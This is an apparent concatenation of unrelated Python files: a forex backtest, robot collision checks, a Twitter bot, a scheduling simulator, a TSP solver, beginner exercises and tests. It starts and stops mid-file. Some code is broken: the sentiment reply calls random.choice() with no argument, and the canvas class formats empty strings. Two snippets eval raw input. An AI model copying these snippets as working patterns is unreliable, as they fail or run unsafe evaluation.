    utc_to = timezone.localize(datetime(*dateTo)).astimezone(pytz.utc)

    timestamp_from = int(utc_from.timestamp())
    timestamp_to = int(utc_to.timestamp())

    quarter_mins_data = pd.DataFrame(GetRatesQuarterMins(timestamp_from,timestamp_to))
    quarter_mins_data['open'] = pd.to_numeric(quarter_mins_data['open'], errors='coerce')

    # quarter_mins_data['open'] = pd.to_numeric()
    quarter_mins_data['time']=pd.to_datetime(quarter_mins_data['time'], unit='s')

    return quarter_mins_data

def StartBackTesting(quarterMinsData):
    # Print the provided 15-minute data
    print(quarterMinsData)
    print(type(quarterMinsData))
    # strategy = MyStrategy(broker= any,data= quarterMinsData, params=any)
    # strategy_params = {
    #     'broker': 'MetaQuotes-Demo',
    #     'data': quarterMinsData,
    #     'params': {}
    # }
    # strategy = MyStrategy(**strategy_params)

    # Now you can use the 'strategy' instance to run your backtest or perform other actions
    # For example, you can create a Backtest instance and run it using the 'strategy'

    # Define column names
    columns = ['time','open', 'high', 'low', 'close', 'tick_volume']
    # Convert quarterMinsData to pandas DataFrame
    df = pd.DataFrame(quarterMinsData, columns=columns)
    #mapping the dataframe
    # to do add time to the mapping as well
    df = df.rename(columns={
                                'open': 'Open',
                                'high': 'High',
                                'low': 'Low',
                                'close': 'Close',
                                'tick_volume': 'Volume'
                            })
    bt = Backtest(data = df, strategy= MyStrategy)
    result = bt.run()

    # Print the results
    print(result)

def GetRatesHourly(dateFrom,utcTo):
    hourly_rates = mt5.copy_rates_range("GBPJPY", mt5.TIMEFRAME_H1, dateFrom, utcTo)
    hourly_rates_frame = pd.DataFrame(hourly_rates)
    hourly_rates_frame['time']=pd.to_datetime(hourly_rates_frame['time'], unit='s')
    #data preparation
    selected_columns_hourly_rates_frame = hourly_rates_frame[['time', 'open', 'high', 'low', 'tick_volume']]
    return selected_columns_hourly_rates_frame

def GetRatesQuarterMins(dateFrom,utcTo):
    #data rates of 15 minutes candle
    quarter_mins_rates = mt5.copy_rates_range("GBPJPY", mt5.TIMEFRAME_M15, dateFrom, utcTo)
    quarter_mins_rates = pd.DataFrame(quarter_mins_rates)
    quarter_mins_rates['time']=pd.to_datetime(quarter_mins_rates['time'], unit='s')
    print("\nDisplay dataframe with data for 15 minutes candle")
    selected_columns_quarter_mins_rates = quarter_mins_rates[['time', 'open', 'high', 'low','close','tick_volume']]
    return selected_columns_quarter_mins_rates


import pandas as pd

def format_dates(series):

    if type(series[0]) != str:
        series = series.apply(
            lambda el: f"{int(el)}:{int((el-int(el)) * 4 + 1)}"
        )

    qs = series.apply(
        lambda q: "-Q".join([str(int(n)) for n in str(q).split(":")])
    )

    return pd.PeriodIndex(qs.values, freq="Q")

def read_data(name, f = "", time_name = "Unnamed: 0"):

    if 'csv' in name:
        df = pd.read_csv(name)
    elif 'xls' in name:
        df = pd.read_excel(name)

    else:
        raise ValueError("File type not understood")

    df = df.dropna(how="all", axis = 1).rename(columns={time_name: "t"})

    df["t"] = format_dates(df["t"])

    f = f if len(f) > 0 else df["t"][0]

    return df.set_index("t")[f:]


import random
from itertools import product

from plan_tools.common import COLLISION_BUFFER
from pybullet_tools.pr2_utils import get_arm_joints
from pybullet_tools.utils import set_pose, pairwise_collision, get_moving_links, set_joint_positions, \
    pairwise_link_collision, get_all_links, any_link_pair_collision

def body_pair_collision(body1, body2, collision_buffer=COLLISION_BUFFER):
    if body1 == body2:
        return False
    return pairwise_collision(body1, body2, max_distance=collision_buffer)

def cartesian_path_collision(body, path, obstacles, **kwargs):
    for pose in path:
        set_pose(body, pose)
        if any(body_pair_collision(body, obst, **kwargs) for obst in obstacles):
            return True
    return False

def link_pairs_collision(body1, links1, body2, links2=None, collision_buffer=COLLISION_BUFFER):
    return any_link_pair_collision(body1, links1, body2, links2, max_distance=collision_buffer)

##################################################

def get_pose_pose_collision_test(world, collisions=True):
    collision_buffer = 0.0 # For stacking
    #collision_buffer = COLLISION_BUFFER

    def test(obj1, pose1, obj2, pose2):
        if not collisions or (obj1 == obj2):
            return False
        body1 = world.bodies[obj1]
        set_pose(body1, pose1)
        body2 = world.bodies[obj2]
        set_pose(body2, pose2)
        return body_pair_collision(body1, body2, collision_buffer=collision_buffer)
    return test

def get_conf_conf_collision_test(world, collisions=True):
    robot = world.robot
    def test(arm1, conf1, arm2, conf2):
        # TODO: don't let the arms get too close
        if not collisions or (arm1 == arm2):
            return False
        arm1_joints = get_arm_joints(robot, arm1)
        set_joint_positions(robot, arm1_joints, conf1)
        arm2_joints = get_arm_joints(robot, arm2)
        set_joint_positions(robot, arm2_joints, conf2)
        return link_pairs_collision(robot, get_moving_links(robot, arm1_joints),
                                    robot, get_moving_links(robot, arm2_joints))
    return test

##################################################

def get_control_pose_collision_test(world, collisions=True):
    collision_buffer = 0.0 # For stacking
    #collision_buffer = COLLISION_BUFFER
    robot = world.robot

    def test(arm, control, obj, pose):
        if not collisions or (obj in control['objects']):
            return False
        attachments = control['context'].assign()
        body = world.bodies[obj]
        set_pose(body, pose)

        arm_links = get_moving_links(robot, get_arm_joints(robot, arm))
        for command in control['commands']:
            for _ in command.iterate(world, attachments): # TODO: randomize sequence
                for attachment in attachments.values():
                    attachment.assign()
                    if body_pair_collision(attachment.child, body, collision_buffer=collision_buffer):
                        return True
                if link_pairs_collision(robot, arm_links, body):
                    return True
        return False
    return test

def get_control_conf_collision_test(world, collisions=True):
    robot = world.robot
    def test(arm1, control, arm2, conf2):
        if not collisions or (arm1 == arm2):
            return False
        attachments = control['context'].assign()
        arm1_links = get_moving_links(robot, get_arm_joints(robot, arm1))

        arm2_joints = get_arm_joints(robot, arm2)
        arm2_links = get_moving_links(robot, arm2_joints)
        set_joint_positions(robot, arm2_joints, conf2)
        for command in control['commands']:
            for _ in command.iterate(world, attachments): # TODO: randomize sequence
                for attachment in attachments.values():
                    attachment.assign()
                    if link_pairs_collision(robot, arm2_links, attachment.child):
                        return True
                if link_pairs_collision(robot, arm1_links, robot, arm2_links):
                    return True
        return False
    return test


#allow user to enter a number of non negative numbers
#the user ends the list with a negative number
#at the end the sum of the non-negatives entered is displayed
#The program prints zero if the user provides no non-negative numbers

entry=0
sum=0
print('Enter numbers to sum, negative number ends list')
while entry>=0:
    entry=eval(input())
    if entry>=0:
        sum+=entry
print('sum = ',sum)


DEFAULT_CONTEXT = 'ctx'
class Canvas(object):
    def __init__(self,script,cid='mytag', context=None):
        self.cid=cid
        self.context = context if context else DEFAULT_CONTEXT
        self.wrap =  context is None
        self._html =[]
        self._add_canvas(cid)
        self._get_canvas()
        self._add_script_tag(script)

    def _add_canvas(self, cid):
        html='''<canvas id="{}" width="700" height="410">
Some default content can appear here.

</canvas>'''.format(cid)
        self._html.append(html)

    def _get_canvas(self):
        script = ''' '''.format(cid = self.cid, ctx=self.context)
        self._html.append(script)

    def _add_script_tag(self, script):
        if self.wrap:
            self._html.append(''.format(self.context,script))
        else:
            self._html.append(''.format(script))

    def html(self):
        return '\n'.join(self._html)

    def _repr_html_(self):
        return self.html()

import random
import string
import shlex
from argparse import ArgumentParser
from IPython.core.magic import (
    magics_class, line_cell_magic, Magics)
from IPython.core.display import HTML

@magics_class
class CanvasMagic(Magics):
    def __init__(self, shell, cache_display_data=False):
        super(CanvasMagic, self).__init__(shell)
        self.cache_display_data = cache_display_data

    @line_cell_magic
    def canvas(self,line, cell=''):
        '''Run JS canvas commands.'''
        parser = ArgumentParser()
        parser.add_argument('-c', '--context', default=None)
        parser.add_argument('-I', '--id', default=None)
        parser.add_argument('--wrap', dest='wrap_env', action='store_true')
        parser.add_argument('-v', '--variable', default=None)
        parser.set_defaults(wrap_env=False)
        args = parser.parse_args(shlex.split(line))

        if args.variable:
            cell = self.shell.user_ns[args.variable]

        #Create a random id for the canvas tag to try to prevent clashes
        argsid = args.id if args.id else ''.join(random.choices(string.ascii_uppercase + string.digits, k=5))

        if not args.context:
            if not args.wrap_env: context = None
            else: context=DEFAULT_CONTEXT
        else: context = args.context
        #We need to add the extra \n in case the last line in the cell is a comment that would comment out </script>
        return Canvas(cell+'\n', context=context, cid=argsid)

#ip = get_ipython()
#ip.register_magics(CanvasMagic)


import os, sys
import shutil
from functools import partial

def makefolders(root_dir, folders):
    for folder in folders:print('CREATE '+folder)
    concat_path = partial(os.path.join, root_dir)
    makedirs = partial(os.makedirs, exist_ok=True)  # Python 3.2+
    for path in map(concat_path, folders):
        makedirs(path)

def movefolders(folders_to_move):
    print('MOVE ' + folders_to_move[0], folders_to_move[1])
    shutil.move(folders_to_move[0], folders_to_move[1])

def deletefolder(folder_to_delete):
    print('DELETE '+folder_to_delete)
    try:
        shutil.rmtree(folder_to_delete)
    except OSError as err:
        # print("OS error: {0}".format(err))
        print('Cannot delete', folder_to_delete, ' - ', folder_to_delete.split("/")[0], 'does not exist')

def list_files(startpath):
    print('LIST')
    for root, dirs, files in sorted(os.walk(startpath)):
        level = root.replace(startpath, '').count(os.sep)
        indent = ' ' * (level)
        if level>0:
            print('{}{}'.format(indent, os.path.basename(root)))

        # WON'T WORK IN ORDER
        # subindent = ' ' * 2 * (level + 0)
        # for d in sorted(dirs):
            # print('')
            # print('{}{}'.format(subindent, d))

if __name__=='__main__':
    root_dir = sys.argv[1]
    # root_dir = os.getcwd()
    folder_list = [['fruits','vegetables','grains','fruits/apples','fruits/apples/fuji'],
        ['grains/squash'],['foods']]
    moves = [['grains/squash', 'vegetables'],['grains', 'foods'],
        ['fruits', 'foods'],['vegetables', 'foods']]
    deletes = ['fruits/apples','foods/fruits/apples']
    makefolders(root_dir, folder_list[0])
    list_files(root_dir)
    makefolders(root_dir, folder_list[1])
    movefolders(moves[0])
    makefolders(root_dir, folder_list[2])
    movefolders(moves[1])
    movefolders(moves[2])
    movefolders(moves[3])
    list_files(root_dir)
    # deletefolder(deletes)
    for i in range(len(deletes)):
        deletefolder(deletes[i])
    list_files(root_dir)


n = int(input())
s = input()
mod = 10**9+7
#文字ごとの累积和を取っておく
acc_char = [0 for i in range(26)]
ans = 0
for i in range(n):
    #今回の数字は使うの确定
    char = s[i]
    plus = 1
    for j in range(len(acc_char)):
        if (ord(char) - ord('a')) != j:
            plus *= acc_char[j] + 1
    ans += plus
    ans %= mod
    acc_char[ord(char) - ord('a')] += 1
print(ans%mod)

python/AtCoder Grand Contest 031/Colorful Subsequence.py


#encoding: utf-8
from params import *
from schedule_policy import *
from copy import copy

class Job(object):
    def __init__(self,job_id, time):
        self.job_id = job_id
        self.compute_time = t_compute[job_id]
        self.depart_time = time
        self.arrive_time = time
        self.trans_time = time

    def transTime(self,server_id):
        self.trans_time = t_transmission[self.job_id][server_id]
        return t_transmission[self.job_id][server_id]

    def arriveTime(self,server_id): # 设置job到达server上的时间
        self.arrive_time = self.depart_time+self.transTime(server_id)
        return self.arrive_time

    def nearestServer(self):
        return np.argmin(t_transmission[self.job_id])

class State(object):
    def __init__(self):
        self.trans_state = np.zeros((N_SERVER,N_JOB),dtype=np.int32)
        self.queue_state = np.zeros((N_SERVER,N_JOB),dtype=np.int32)
        self.submit_job_state = np.zeros((1, N_SERVER), dtype=np.int32)
        self.server_state = np.zeros((1, N_SERVER), dtype = np.int32)

    def count(self):
        return np.sum(self.trans_state) + np.sum(self.queue_state)
    def getCost(self):
        _penalty = BETA * (np.sum(self.queue_state)>=LQ)
        return _penalty + self.count()

    def updateState(self, S, time, job=None):
        if job != None:
            self.submit_job_state = t_transmission[job.job_id]
        server_id = 0
        self.trans_state = np.zeros((N_SERVER,N_JOB),dtype=np.int32)
        self.queue_state = np.zeros((N_SERVER,N_JOB),dtype=np.int32)
        for x in S.servers:
            for job in x.server:
                self.server_state[0][server_id] += 1
                if job.arrive_time <= time:
                    self.queue_state[server_id, job.job_id] += 1
                else:
                    self.trans_state[server_id, job.job_id] += 1
            if x.computing != None and x.computing_time <= time:
                self.queue_state[server_id, x.computing.job_id] += 1
                self.server_state[0][server_id] += 1

            server_id += 1

        return self.trans_state, self.queue_state, self.server_state

class Server(object):
    def __init__(self):
        self.server = []
        self.computing = None
        self.waiting = []
        self.notwaiting = []
        self.computing_time = 0
    def clone(self, s):
        self.server = copy(s.server)
        self.computing = copy(s.computing)
        self.waiting = copy(s.waiting)
        self.notwaiting = copy(s.notwaiting)
        self.computing_time = copy(s.computing_time)
        return self
    def add(self, job):
        self.server.append(job)
    def addComputing(self, job:Job, time):
        self.computing = job # 正在执行的job
        self.computing_time = time + job.compute_time-1 # 更新一下job完成计算的时间
        self.server.remove(job) # 从waiting和not waiting中删除job
    def sort(self, time): # 需要的参数: server, computing, computing_time, time
        self.waiting = [] # 已到达的
        self.notwaiting = [] # 尚未到达的
        for job in self.server:
            if job.arrive_time > time:
                self.notwaiting.append(job)
            else:
                self.waiting.append(job)
        self.waiting = sorted(self.waiting, key=lambda x:(x.compute_time, x.arrive_time))
        self.notwaiting = sorted(self.notwaiting, key=lambda x:(x.arrive_time,x.compute_time))
        self.server = self.waiting + self.notwaiting

class Servers(object):
    def __init__(self):
        self.servers = [Server() for i in range(N_SERVER)]
    def clone(self, S):
        for i in range(len(self.servers)):
            self.servers[i].clone(S.servers[i])
        return self

    def add(self, id, job):
        self.servers[id].add(job)
    def done(self):
        for s in self.servers:
            if len(s.server) > 0 or s.computing!= None:
                return False
        return True
    def getAddedCost(self, job, server_id, time):
        S1 = self
        S1, _, _, _, _ = SJFPolicy(S1, job.arrive_time, 0, 0, [], None)
        cost = 0.0
        prefix = 0
        for x in S1.servers[server_id].waiting:
            if x.compute_time > job.compute_time:
                cost += float(1.0 * job.compute_time/x.compute_time)
            elif x.compute_time <= job.compute_time:
                cost += float(1.0 * x.compute_time/job.compute_time)
                prefix += x.compute_time
        notwaiting = sorted(S1.servers[server_id].notwaiting, key=lambda x:(x.compute_time, x.arrive_time))
        for x in notwaiting:
            if x.compute_time >= job.compute_time:
                if x.arrive_time <= time + prefix:
                    cost += float(1.0 * job.compute_time / x.compute_time)
                elif time + prefix < x.arrive_time and x.arrive_time <= time+prefix + job.compute_time:
                    gap = time + prefix + job.compute_time - x.arrive_time
                    cost += float(1.0 * gap / x.compute_time)
            else:
                if x.arrive_time < time + prefix:
                    prefix += x.arrive_time
                    cost += float(1.0 * x.compute_time / job.compute_time)
                elif x.arrive_time < time + prefix + job.compute_time:
                    gap = time + prefix + job.compute_time - x.arrive_time
                    cost += float(1.0 * gap / x.compute_time)
        cost += float(1.0*(job.arrive_time - job.depart_time)/job.compute_time)
        return cost

class BinaryIndexTree:
    def __init__(self, array: list):
        self._array = [0] + array
        n = len(array)
        for i in range(1, n + 1):
            j = i + (i & -i)
            if j < n + 1:
                self._array[j] += self._array[i]
    def lowbit(self, x: int) -> int:
        return x & (-x)
    def update(self, idx: int, val: int):
        prev = self.query(idx, idx + 1)
        idx += 1
        val -= prev    # val 是要增加的值
        while idx < len(self._array):
            self._array[idx] += val
            idx += self.lowbit(idx)

    def query(self, begin: int, end: int) -> int:
        return self._query(end) - self._query(begin)
    def _query(self, idx: int) -> int:
        res = 0
        while idx > 0:
            res += self._array[idx]
            idx -= self.lowbit(idx)
        return res

def judge(history):
    array = [0 for i in range(10000000)]
    servers = [BinaryIndexTree(array) for i in range(N_SERVER)]

    for x in history:
        server_id = x[0]
        job_id = x[1]
        finish_time = x[2] # 22
        compute_time = t_compute[job_id] # 8
        arrive_time = finish_time - compute_time + 1 # 15
        if servers[server_id].query(0,finish_time) != 0:
            print(x[0], x[1], x[2], compute_time, arrive_time)
            return False
        servers[server_id].update(arrive_time, -1)
        servers[server_id].update(finish_time, 1)

    return True

# 随机生成工作序列
def generate_job_sequence(my_length = 0):
    values = []
    ptr = 0
    # print("a")
    for j in range(3):
        job_num = np.random.poisson(10, 1) # job 个数符合泊松分布
        time_gap = np.random.poisson(5, job_num[0])
        per = np.random.permutation(10)
        for i in range(job_num[0]):
            values.append(Job(per[i%10], ptr + time_gap[i%10]))
            ptr += time_gap[i%10]
    # print("xx")

    job_sequence = sorted(values,key=lambda x:x.depart_time) # 按照到达时间排序
    # for x in job_sequence:
    #     print(x.job_id, x.depart_time)
    return job_sequence


import sys
import os

#stocks_dir - where the lists of stock files are (|steam_dir|\steamapps\KreedzClimbing\bin by default)
#resources_dir - where materials, models, etc. folders are located

if len(sys.argv) == 1:
    print(
        "\nWhen run without arguments, the script assumes that both the stock_*.txt files\n"
        "and folders with resources (materials, models, particles, sound) are in the same\n"
        "directory as the script\n")
    choice = input("Are you sure you want to continue in the current directory? (Y/N) ")
    if (choice.lower() == 'y'):
        stocks_dir = os.curdir
        resources_dir = os.curdir
    else:
	    stocks_dir = input("Enter path to the folder with stock_*.txt files (|steam_dir|\\steamapps\\KreedzClimbing\\bin by default): ")
	    resources_dir = input("Enter path to directory with extracted game files: ")
elif len(sys.argv) == 3:
    stocks_dir = sys.argv[1]
    resources_dir = sys.argv[2]
else:
    print(
        "\nUsage: python cleanup.py [path1] [path2]\n\n"
        "path1 - path to directory with stock_*.txt files (|steam_dir|\\steamapps\\KreedzClimbing\\bin by default)\n"
        "path2 - path to directory with extracted game files (e.g. |steam_dir|\\steamapps\\KreedzClimbing\\kz\\hammer_resources)\n")
    sys.exit()

def delete_files(file_name):
    list_file = open(os.path.join(stocks_dir, file_name), "r")
    stocks_list = list_file.read().splitlines()
    list_file.close()
    for f in stocks_list:
        try:
            os.remove(os.path.join(resources_dir, f))
            print("Deleted file " + os.path.join(resources_dir, f))
        except FileNotFoundError:
            print("File not found: " + os.path.join(resources_dir, f))
            continue

files_list = [
    "stock_ani.txt", "stock_mdl.txt", "stock_mp3.txt", "stock_pcf.txt",
    "stock_phy.txt", "stock_raw.txt", "stock_vmt.txt", "stock_vtf.txt",
    "stock_vtx.txt", "stock_vvd.txt", "stock_wav.txt"
]

for i in range(len(files_list)):
    delete_files(files_list[i])


# Exercício Python #102 - Função para Fatorial
# https://www.youtube.com/watch?v=84jUX96cs7Q

# Exercício Python 102: Crie um programa que tenha uma função fatorial() que receba dois parâmetros:
#  o primeiro que indique o número a calcular e outro chamado show, que será um valor lógico (opcional)
#  indicando se será mostrado ou não na tela o processo de cálculo do fatorial.

print("\n#102 - Função para Fatorial")
print("--" * 16)

def fatorial(num, show=False):
    """
    -> fatorial: calcula o fatorial do número recebido
    :param num: número a ser calculado
    :param show: indica se o cálculo do fatorial deve ser exibido (opcional). Valor padrão: False
    :return: o resultado do fatorial (int)
    """
    r = 1
    for i in range(num, 0, -1):
        if show:
            if i > 1:
                print(f"{i} x ", end="")
            else:
                print(f"{i} = ", end="")
        r = r * i
    return r

n1 = 3
n2 = 4
n3 = 5
print(fatorial(3))
print(fatorial(n2, False))
print(fatorial(n3, True))


import tweepy
import time
import random

from config import create_api
from secret_languages import translate_text, LANGUAGES

def check_mentions(api, since_id):
    print("check mentions")
    user = api.me()

    new_since_id = since_id
    mentions = api.mentions_timeline(since_id=since_id, tweet_mode="extended")

    for tweet in mentions:
        new_since_id = max(tweet.id, new_since_id)

        replies = tweepy.Cursor(
            api.search,
            q=f"to:{tweet.user.screen_name} from:{user.screen_name}",
            result_type="recent",
            timeout=999999,
        ).items(1000)

        for reply in replies:
            if (
                hasattr(reply, "in_reply_to_status_id")
                and reply.in_reply_to_status_id == tweet.id
            ):
                return new_since_id

        print(f"{tweet.user.name} says {tweet.full_text}")

        if not tweet.favorited:
            tweet.favorite()

        language = random.choice(LANGUAGES)
        for hashtag in tweet.entities["hashtags"]:
            if hashtag["text"] in LANGUAGES:
                language = hashtag["text"]
                break

        response = translate_text(tweet.full_text, language=language)

        if f"#{language}" not in response:
            response += f" #{language}"

        response = response.replace(
            f"@{user.screen_name}", f"@{tweet.user.screen_name}"
        )

        api.update_status(
            status=response,
            in_reply_to_status_id=tweet.id,
            auto_populate_reply_metadata=True,
        )
    if not len(mentions):
        print("no mentions :-(")

    return new_since_id

def main():
    api = create_api()
    user = api.me()

    since_id = 1
    while True:
        since_id = check_mentions(api, since_id)
        time.sleep(30)

if __name__ == "__main__":
    main()


from transformers import pipeline
from transformers import AutoModelForSequenceClassification
from transformers import BertJapaneseTokenizer
import random

# from huggingface_hub import snapshot_download
# download_path = snapshot_download(repo_id="daigo/bert-base-japanese-sentiment")

# print(download_path)
# dir_name = '/workspaces/fastapi/model'

# # パイプラインの準備
# model = AutoModelForSequenceClassification.from_pretrained(dir_name)
# tokenizer = BertJapaneseTokenizer.from_pretrained(dir_name)

# #モデルのダウンロード
# model.save_pretrained(dir_name)
# tokenizer.save_pretrained(dir_name)

# nlp = pipeline("sentiment-analysis", model=model, tokenizer=tokenizer)

# マンガの台詞
# manga_list = ["“海賊王”に！！！おれはなるっ！！！！",
#               "あきらめたらそこで試合終了ですよ……？",
#               "計画通り",
#               "お前はもう 死んでいる",
#               "生殺与奪の権を他人に握らせるな！",
#               "さすがディオ！ おれたちにできない事を平然とやってのける そこにシビれる！ あこがれるゥ！",
#               "我がドイツの医学薬学は世界一ィィィ！",
#               "『てめーは、おれを怒らせた』",
#               "だが断る",
#               "吐き気をもよおす『邪悪』とはッ！ なにも知らぬ無知なる者を利用する事だ……!! 自分の利益だけのために利用する事だ… 父親がなにも知らぬ『娘』を!! てめーだけの都合でッ！ 許さねえッ！ あんたは今 再びッ！ オレの心を『裏切った』ッ！"]

# 感情分析の実行
# for manga in manga_list:
#     print(nlp(manga))

# # 感情分析の実行
# for manga in manga_list:
#     print(nlp(manga))

class NegaPosi:
    def __init__(self):
        dir_name = '/workspaces/fastapi/model'
        self.model = AutoModelForSequenceClassification.from_pretrained(dir_name)
        self.tokenizer = BertJapaneseTokenizer.from_pretrained(dir_name)

    def reply(self, input: str):
        nlp = pipeline("sentiment-analysis", model=self.model, tokenizer=self.tokenizer)
        negaposi = nlp(input)[0]["label"]
        if negaposi == "ネガティブ":
            rep_list = ["わかる、つらいよね", "うんうん、"]
        else:
            text = "いいね！"
        text = random.choice()
        return text


import time
import numpy as np
import streamlit as st

st.write("streamlit version = {}".format(st.__version__))
st.latex(r''' e^{i\pi} + 1 = 0 ''')

#barra de progeso
# se coloca la barra de progreso siempre del lado izquierdo
progress_bar = st.sidebar.progress(0)
# se establece la barra de progeso vacía
status_text = st.sidebar.empty()

last_rows = np.random.randn(1, 1)

#aquí se crea el gráfico de lineas
chart = st.line_chart(last_rows)

for i in range(1,51):
    new_rows = last_rows[-1 , :] + np.random.randn(5,1).cumsum(axis=0)
    #barra de estatus de la barra de progreso
    status_text.text("%i%% Complete" %i)
    #actualización de la barra de progreso
    progress_bar.progress(i)
    #añadiendo los nuevos registros  al gráfico
    chart.add_rows(new_rows)
    #la siguiente linea es para acumular los valores actualizados
    last_rows = new_rows

    time.sleep(0.1)

#reseteando la barra d progreso
progress_bar.empty()
# boton para re ejecutar
st.button('correr')

# para ejecutar esto, desde la consola hacer
# streamlit run 'nombre.py'


#!/usr/bin/env python
# -*- coding: utf-8 -*-

import sys
if sys.version_info.major == 3:
    import urllib.request as http
else:
    import urllib2 as http

import json

JDK_HOST = "https://api.github.com"
JDK_HOST_PATH = "/repos/AdoptOpenJDK/openjdk8-binaries/releases/latest"
JDK_NAME_PREFIX = "OpenJDK8U-jdk_x64_linux_hotspot_"
ASSET_CONENT_TYPE = "application/x-compressed-tar"

def parse(data):
    json_data = json.loads(data)
    assets = json_data["assets"]
    for asset in assets:
        asset_name = asset["name"]
        asset_content_type = asset["content_type"]
        if asset_name.startswith(JDK_NAME_PREFIX) \
                and asset_content_type == ASSET_CONENT_TYPE:
            print(asset["browser_download_url"])

def run(host, path):
    fd = http.urlopen("".join([host, path]))
    parse(fd.read())
    fd.close()

if __name__ == "__main__":
    run(JDK_HOST, JDK_HOST_PATH)


from ProbabilisticLogicSampling import PLS
import pandas as pd
import ast

class EDA:
    generation = pd.DataFrame(columns=['string', 'amount'])

    best_individual = 0
    best_cost = 99999999999999
    history_cost = []
    best_local = 0
    best_local_cost = 0

    penalization = 9999999

    # noise_model = 0
    # coupling_map = 0
    backend = 0

    def __init__(self, statistics, size_gen, tsp_problem, alpha, it_max, it_dead, type):
        self.stats = statistics
        self.size_gen = size_gen
        self.tsp_problem = tsp_problem
        self.alpha = alpha
        self.trunc_size = int(alpha * size_gen)
        self.it_max = it_max
        self.id_dead = it_dead

        self.history_cost = []

        self.type = type

    def new_generation(self):
        pls = PLS(statistics=self.stats, type=self.type)

        if self.type == 'quantum':
            # pls.noise_model = self.noise_model
            # pls.coupling_map = self.coupling_map
            pls.backend = self.backend

        pls.sampling(shots=self.size_gen)
        self.generation = pls.return_sols()

    def translate_individual(self, string):
        tam = len(self.stats)
        sol = []
        for i in range(tam):
            aux = string[tam * i: tam * (i + 1)]
            pos = 0
            for j in range(tam):
                if aux[j] == '1':
                    pos = j
            sol.append(pos)

        # print(string, sol)

        return sol

    def evaluation(self):
        # evaluation with adjacency matrix
        solutions = list(self.generation['string'])
        self.generation['cost'] = 99999999999
        self.generation['trans'] = 0

        for sol in solutions:
            translation = self.translate_individual(sol)
            cost = self.tsp_problem.evaluate_solution(translation)

            flag = 0
            for i in range(len(self.stats)):
                if i not in translation:
                    flag = flag + 1

            if flag:  # if not all cities in the path, then penalize
                cost = cost + self.penalization * flag

            self.generation.loc[self.generation.string == sol, 'cost'] = cost
            self.generation.loc[self.generation.string == sol, 'trans'] = str(translation)

    def truncation(self):
        # selection of bests solutions
        self.generation = self.generation.sort_values(by=['cost'])
        self.generation['amount_acum'] = self.generation['amount'].cumsum()
        self.generation = self.generation.reset_index()
        del self.generation['index']

        trunc_size = sum(self.generation['amount']) * self.alpha
        self.trunc_size = trunc_size

        aux = 0
        for i in range(len(self.generation)):
            if self.generation.loc[i, 'amount_acum'] >= trunc_size:
                aux = i + 1
                break

        self.generation = self.generation[:aux]
        self.generation.loc[aux - 1, 'amount'] = self.generation.loc[aux - 1, 'amount'] - \
                                                 (self.generation.loc[aux - 1]['amount_acum'] - trunc_size)

        self.generation.loc[aux - 1, 'amount_acum'] = self.generation.loc[aux - 1]['amount_acum'] - \
                                                      (self.generation.loc[aux - 1]['amount_acum'] - trunc_size)

        # self.generation = self.generation.nsmallest(trunc_size, 'cost')

    def update_statistics(self):
        keys = list(self.generation['string'])
        tam_data, string_tam, tam_problem = len(keys), len(self.stats) ** 2, len(self.stats)
        amounts = list(self.generation['amount'])

        for i in range(string_tam):  # string size loop
            tot = 0
            for j in range(tam_data):  # solutions loop
                if keys[j][i] == '1':
                    tot = tot + amounts[j]

            self.stats[i % tam_problem][int(i / tam_problem)] = tot / self.trunc_size

    def run(self, output=True):
        no_improves = 0
        array = []

        for i in range(self.it_max):
            self.new_generation()
            self.evaluation()
            self.truncation()
            self.update_statistics()

            # best individual update
            self.best_local = self.generation.loc[0, 'trans']
            self.best_local_cost = self.generation.loc[0, 'cost']

            if self.best_local_cost < self.best_cost:
                self.best_individual = self.generation.loc[0, 'trans']
                array.append(ast.literal_eval(self.best_individual))
                self.best_cost = self.best_local_cost
                no_improves = 0
            else:
                no_improves = no_improves + 1

            self.history_cost.append(self.best_local_cost)

            if output:
                print('[iteration ', i + 1, ']', self.best_local_cost, self.best_local)

            # print(self.stats)
            # print(self.generation)

            if no_improves == self.id_dead:
                break

        return self.best_individual, self.best_cost, self.history_cost, array


#!/usr/bin/env python3

import pygal

def print_fa_data(fa,name):
	x_time = []
	out_octets = []
	out_packets = []
	in_octets = []
	in_packets = []
	with open('static/'+name+fa+'.txt', 'r') as f:
	    for line in f.readlines():
	        # eval(line) lee cada linea como diccionario no como cadena
	        line = eval(line)
	        t = line['time']
	        x_time.append(t[-15:-5])
	        out_packets.append(float(line['fa_out_uPackets']))
	        out_octets.append(float(line['fa_out_oct']))
	        in_packets.append(float(line['fa_in_uPackets']))
	        in_octets.append(float(line['fa_in_oct']))

	line_chart = pygal.Line()
	line_chart.title = name +' '+fa
	line_chart.x_labels = x_time
	line_chart.add('Oct. salida', out_octets)
	line_chart.add('Paq. salida', out_packets)
	line_chart.add('Oct. entrada', in_octets)
	line_chart.add('Paq. entrada', in_packets)
	line_chart.render_to_png('static/'+name+fa+'img.png')


import sys
import unittest as ut
from abc import ABCMeta

import numpy as np
import xarray as xr

# Import from directory structure if coverage test, or from installed
# packages otherwise
if "--cov" in str(sys.argv):
    from src.geocat.f2py import ChunkError, CoordinateError, linint2pts
else:
    from geocat.f2py import ChunkError, CoordinateError, linint2pts

class BaseTestClass(metaclass=ABCMeta):

    # Dimensions and shape indices
    _no = 7
    _ni = (int)(_no // 2 + 1)
    _shape0 = 3
    _shape1 = 2

    _xi = np.linspace(0, _no, num=_ni, dtype=np.float64)
    _yi = np.linspace(0, _no, num=_ni, dtype=np.float64)

    _yi_reverse = _yi[::-1].copy()
    _xo = np.linspace(_xi.min(), _xi.max(), num=_no)
    _yo = np.linspace(_yi.min(), _yi.max(), num=_no)
    _fi_np = np.array([
        0.3237105, 0.324392, 0.4933876, 0.2887298, 0.3530066, 0.1539609,
        0.5662112, 0.8207198, 0.3254946, 0.3400797, 0.8951765, 0.3365994,
        0.285023, 0.503381, 0.7735307, 0.02115688, 0.0370131, 0.2905971,
        0.08607747, 0.7475868, 0.3594459, 0.208128, 0.07976629, 0.147932,
        0.7081553, 0.3954463, 0.76442, 0.6459406, 0.4730613, 0.8595491,
        0.4975119, 0.002354512, 0.9233359, 0.7525227, 0.3873016, 0.4400381,
        0.801115, 0.02650658, 0.1531967, 0.08475874, 0.9324431, 0.307627,
        0.4906232, 0.7363205, 0.1770434, 0.7332226, 0.3352886, 0.8860217,
        0.6281158, 0.4734903, 0.2919583, 0.1400909, 0.4408124, 0.4808828,
        0.715275, 0.07891378, 0.7466062, 0.5349883, 0.6757824, 0.1525627,
        0.4337856, 0.5456881, 0.9060123, 0.3816891, 0.1366455, 0.7225873,
        0.5033991, 0.5035226, 0.8972847, 0.4618556, 0.5903139, 0.8825227,
